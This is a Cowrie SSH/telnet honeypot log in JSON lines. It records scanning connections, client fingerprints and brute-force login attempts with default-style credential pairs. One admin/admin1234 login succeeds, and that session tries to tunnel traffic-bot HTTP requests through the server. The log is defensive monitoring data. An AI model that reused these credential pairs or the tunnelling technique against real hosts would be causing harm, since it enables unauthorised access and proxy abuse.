{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:26.661124Z","src_ip":"91.92.40.36","session":"1801dd74909d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:26.671942Z","src_ip":"91.92.40.36","session":"1801dd74909d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:27.230166Z","src_ip":"194.113.233.25","session":"e453d1c8ef1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:27.414135Z","src_ip":"91.92.40.36","session":"ad6b7aad3026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54506,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7adde1ea22e","protocol":"ssh","message":"New connection: 91.92.40.36:54506 (159.203.135.109:22) [session: b7adde1ea22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:28.146454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:29.337704Z","src_ip":"91.92.40.36","session":"b7adde1ea22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:29.340838Z","src_ip":"91.92.40.36","session":"b7adde1ea22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54538,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd052d2a6cc2","protocol":"ssh","message":"New connection: 91.92.40.36:54538 (159.203.135.109:22) [session: bd052d2a6cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:34.957427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:36.614491Z","src_ip":"91.92.40.36","session":"bd052d2a6cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:36.617985Z","src_ip":"91.92.40.36","session":"bd052d2a6cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"davin","password":"davin","message":"login attempt [davin/davin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:37.270268Z","src_ip":"91.92.40.36","session":"1801dd74909d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git12","message":"login attempt [git/git12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:37.423743Z","src_ip":"91.92.40.36","session":"b7adde1ea22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:39.521911Z","src_ip":"91.92.40.36","session":"b7adde1ea22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"21","message":"login attempt [debian/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:39.657717Z","src_ip":"91.92.40.36","session":"bd052d2a6cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:39.998578Z","src_ip":"91.92.40.36","session":"1801dd74909d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:41.119736Z","src_ip":"91.92.40.36","session":"bd052d2a6cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.976696491241455,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:43.539333Z","src_ip":"172.81.62.90","session":"97034d103066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25622,"dst_ip":"159.203.135.109","dst_port":22,"session":"5587432a5ffa","protocol":"ssh","message":"New connection: 91.92.40.36:25622 (159.203.135.109:22) [session: 5587432a5ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:44.212902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:45.123191Z","src_ip":"91.92.40.36","session":"5587432a5ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:45.127439Z","src_ip":"91.92.40.36","session":"5587432a5ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52132,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da62165ae78","protocol":"telnet","message":"New connection: 172.81.62.90:52132 (159.203.135.109:23) [session: 6da62165ae78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:48.537375Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40250,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecde0046cfbc","protocol":"ssh","message":"New connection: 91.92.40.36:40250 (159.203.135.109:22) [session: ecde0046cfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:49.649696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:51.991929Z","src_ip":"91.92.40.36","session":"ecde0046cfbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:51.995636Z","src_ip":"91.92.40.36","session":"ecde0046cfbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p4$word","message":"login attempt [guest/p4$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:52.002971Z","src_ip":"91.92.40.36","session":"5587432a5ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:54.238954Z","src_ip":"91.92.40.36","session":"5587432a5ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"654321","message":"login attempt [odoo/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:55.390378Z","src_ip":"91.92.40.36","session":"ecde0046cfbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54227,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdff8bd6be29","protocol":"ssh","message":"New connection: 123.27.168.40:54227 (10.17.0.5:22) [session: cdff8bd6be29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:56.358753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:56.362463Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:56.613733Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:57.262325Z","src_ip":"91.92.40.36","session":"ecde0046cfbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:57.910410Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37824,"dst_ip":"159.203.135.109","dst_port":22,"session":"0301ac6db20d","protocol":"ssh","message":"New connection: 91.92.40.36:37824 (159.203.135.109:22) [session: 0301ac6db20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:58.328716Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:58.410731Z","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:58.662732Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=diRYMllKMSVWRHJUM0oqag%3D%3DibamOYSVd5j1liQpc%2B8jrB7xzSLOzshMIFZEDfvPPtEKnzYZCQA83TDdqlIu3wgGyqb%2FafirsCPmzWgNWeXF3rMd0W1WUA7vQQ3LUuSBEjD7khTpYAgdVVQ2yJASE%2BwIcB95htbsZmnX1E0QcswFlIAcQnrWBWwfN3XV4zFqW%2FZe7p%2FGk%2F0GNxvSUpHRh8pdSCr1iCFVO2XcRMoLIEi5Ei998mWMIGaIla0t7FSS4G5kmuRYXJ17jmuexZTo07zcVoePg9O9AVpu7OTOGksyK3bflvZCL447cykN6h%2BwVEMynCECd1om8jPOpSbbtm9IIlVO7cKliNYH7wXJhQ70GljaEGTnhZ8oQ5ehxStphXI9sTUlIpLQ1FXVCLIlmcSCyuRrUD1USsMpweS5jW9o01vlPMz3BzxxwdM5OnRs%2FG65NaDucBWspOIl3RHtOnHpTGkm2Z3KfUxMiAm7aw%2BdZPVZ%2Bz489qCqUWgF6ZVdEHp4f5J3tdtpymHzcX9xoZAOTNqImMbKue1teM9C9D3v79bI1EepaVJJmiExRdllx5FgO6TA8Vuf4maQQcyHTqTq3vNvMht8AKRtrB7Ru1JJ2X8NnRkhsUJODFMu4woiOoJ9gxsOB62zsAMT%2FaDiVSkHRcBY0Ycq9kzyFHJb%2B3%2FHhnBHLz%2B22OkHW0XqG8seiH%2BKzAhP%2BNuAGhUoUiHLefVhHtz0fKpTCOCWF7b9BdWr%2F9yqyJgvYWvoFffaXgmiUt2LIZHxraFUHcqiP54T3%2F%2FKh%2FXUHsme%2BNFE1cmMw%2BsBukKlA58jtHBUA3m1c2yJVY%2FM%2Byjh%2Bz7SrqTY%2BfxTacRaME2wI4Nk1XwJtFr8EE5d81WCCy9wjmzbSGbxGxfzYN8UDB%2F7AsNp2wHV%2BGEskUk5PVastLjfJaubOdFwBXnbVvsegghmqIlCMpaIjA9rxW8h6KKvKh04oj6zafs8LrIu%2Bsrj3Mw9x1KSa0HpOHAhTDd3BxokL%2BoBDvXMA2phLqCo%2Fh%2BVc5HqLwBdU7luhRpRhq6sWDokv96ze4Z4SA1NRikwSjfjYjGFWQUuhYmHUraQu5V19rmkYS8UetxIT%2FuN'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=diRYMllKMSVWRHJUM0oqag%3D%3DibamOYSVd5j1liQpc%2B8jrB7xzSLOzshMIFZEDfvPPtEKnzYZCQA83TDdqlIu3wgGyqb%2FafirsCPmzWgNWeXF3rMd0W1WUA7vQQ3LUuSBEjD7khTpYAgdVVQ2yJASE%2BwIcB95htbsZmnX1E0QcswFlIAcQnrWBWwfN3XV4zFqW%2FZe7p%2FGk%2F0GNxvSUpHRh8pdSCr1iCFVO2XcRMoLIEi5Ei998mWMIGaIla0t7FSS4G5kmuRYXJ17jmuexZTo07zcVoePg9O9AVpu7OTOGksyK3bflvZCL447cykN6h%2BwVEMynCECd1om8jPOpSbbtm9IIlVO7cKliNYH7wXJhQ70GljaEGTnhZ8oQ5ehxStphXI9sTUlIpLQ1FXVCLIlmcSCyuRrUD1USsMpweS5jW9o01vlPMz3BzxxwdM5OnRs%2FG65NaDucBWspOIl3RHtOnHpTGkm2Z3KfUxMiAm7aw%2BdZPVZ%2Bz489qCqUWgF6ZVdEHp4f5J3tdtpymHzcX9xoZAOTNqImMbKue1teM9C9D3v79bI1EepaVJJmiExRdllx5FgO6TA8Vuf4maQQcyHTqTq3vNvMht8AKRtrB7Ru1JJ2X8NnRkhsUJODFMu4woiOoJ9gxsOB62zsAMT%2FaDiVSkHRcBY0Ycq9kzyFHJb%2B3%2FHhnBHLz%2B22OkHW0XqG8seiH%2BKzAhP%2BNuAGhUoUiHLefVhHtz0fKpTCOCWF7b9BdWr%2F9yqyJgvYWvoFffaXgmiUt2LIZHxraFUHcqiP54T3%2F%2FKh%2FXUHsme%2BNFE1cmMw%2BsBukKlA58jtHBUA3m1c2yJVY%2FM%2Byjh%2Bz7SrqTY%2BfxTacRaME2wI4Nk1XwJtFr8EE5d81WCCy9wjmzbSGbxGxfzYN8UDB%2F7AsNp2wHV%2BGEskUk5PVastLjfJaubOdFwBXnbVvsegghmqIlCMpaIjA9rxW8h6KKvKh04oj6zafs8LrIu%2Bsrj3Mw9x1KSa0HpOHAhTDd3BxokL%2BoBDvXMA2phLqCo%2Fh%2BVc5HqLwBdU7luhRpRhq6sWDokv96ze4Z4SA1NRikwSjfjYjGFWQUuhYmHUraQu5V19rmkYS8UetxIT%2FuN'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:58.666573Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:58.756845Z","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.007251Z","src_ip":"91.92.40.36","session":"0301ac6db20d","protocol":"ssh"}
